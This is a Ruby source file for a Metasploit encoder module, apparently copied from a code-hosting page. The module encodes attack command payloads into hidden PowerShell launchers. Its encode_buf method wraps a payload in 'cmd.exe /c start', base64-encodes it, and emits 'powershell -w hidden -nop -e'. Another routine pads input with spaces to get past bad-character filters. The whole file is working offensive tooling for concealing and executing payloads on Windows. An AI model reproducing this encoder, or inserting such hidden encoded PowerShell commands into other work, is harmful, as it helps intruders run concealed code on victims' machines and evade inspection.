55 lines
1.1 KiB
Ruby
55 lines
1.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Encoder
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Rank = ExcellentRanking
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def initialize
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super(
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'Name' => 'Powershell Base64 Command Encoder',
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'Description' => %q{
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This encodes the command as a base64 encoded command for powershell.
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},
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'Author' => 'Ben Campbell',
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'Arch' => ARCH_CMD,
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'Platform' => 'win')
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end
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#
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# Encodes the payload
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#
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def encode_block(state, buf)
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# Skip encoding for empty badchars
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if state.badchars.length == 0
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return buf
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end
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if (state.badchars.include? '-') || (state.badchars.include? ' ')
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return buf
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end
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cmd = encode_buf(buf)
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if state.badchars.include? '='
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while cmd.include? '='
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buf << " "
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cmd = encode_buf(buf)
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end
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end
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cmd
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end
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def encode_buf(buf)
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base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c start #{buf}"))
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cmd = "powershell -w hidden -nop -e #{base64}"
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end
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end
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